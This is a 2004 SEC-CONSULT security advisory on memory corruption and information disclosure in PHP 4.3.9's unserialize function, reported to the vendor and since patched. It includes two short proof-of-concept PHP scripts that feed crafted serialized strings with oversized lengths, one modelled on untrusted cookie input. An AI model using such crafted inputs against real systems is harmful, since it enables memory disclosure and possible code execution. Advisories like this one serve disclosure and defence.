php unserialize
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SEC-CONSULT Security Advisory PHP - 4.3.9 unserialize function
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Product: PHP 4.3.9 (Win32/Unix)
Remarks: no other Versions tested but very likely vulnerable
Vulnerablities:
- Data Segment memory corruption
- Information disclosure / Memory dumping
Vendor: PHP (http://www.php.net/)
Vendor-Status: vendor contacted (19.11.2004)
Vendor-Patchs: vendor has released bugfixed versions
Object: ---
Exploitable:
Local: ---
Remote: PARTIAL (OS-dependent)
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Introduction
============
Visit "http://www.php.net"; for additional information.
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Vulnerability Details
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1) Memory Corruption / buffer overflow
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FUNCTION:
unserialize (http://at.php.net/manual/en/function.unserialize.php)
DESCRIPTION:
Insufficient input validation of serialized strings lead to memory corruption
and information disclosre.
EXAMPLE script - "Segfault":
---cut here---
<?
$s = 's:9999999:"A";"';
$a = unserialize($s);
print $a;
?>
---cut here---
REMARKS:
leads to arbitrary code execution and file/information disclosure.
EXAMPLE script - "Memory Dump":
---cut here---
<?
// session- and stuff
$secret_username="uaaaa";
$secret_password="hoschi";
// stuff
// $c = $_COOKIE ['crypted_stuff']
// $c = some cookie
/* simplyfied --> userinput */ $c = 's:30000:"crap";';
$userdata = unserialize($c);
//
// check $userdata stuff
// for some reason output $userdata
print $userdata . "\n is NOT valid !!\n";
// stuff
?>
---cut here---
REMARKS:
Could theoretically be used to circumvent safe-mode and/or gain sensitive
information about script- and memory areas.
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GENERAL REMARKS
===============
We would like to apologize in advance for potential nonconformities and/or
known issues.
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FOR SOME STRANGE REASONS HARDENED-PHP.NET HAS RELEASED THIS ADVISORY TODAY
TOGETHER WITH A BUNCH OF OTHER VULNERABILITIES
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====================
Recommended Hotfixes
====================
Vendor-Patches: vendor has released bugfixed versions
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Contact
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SEC-CONSULT
Austria / EUROPE
m.eiszner@xxxxxxxxxxxxxxx
EOF Martin Eiszner / @2004m.eiszner@xxxxxxxxxxxxxxx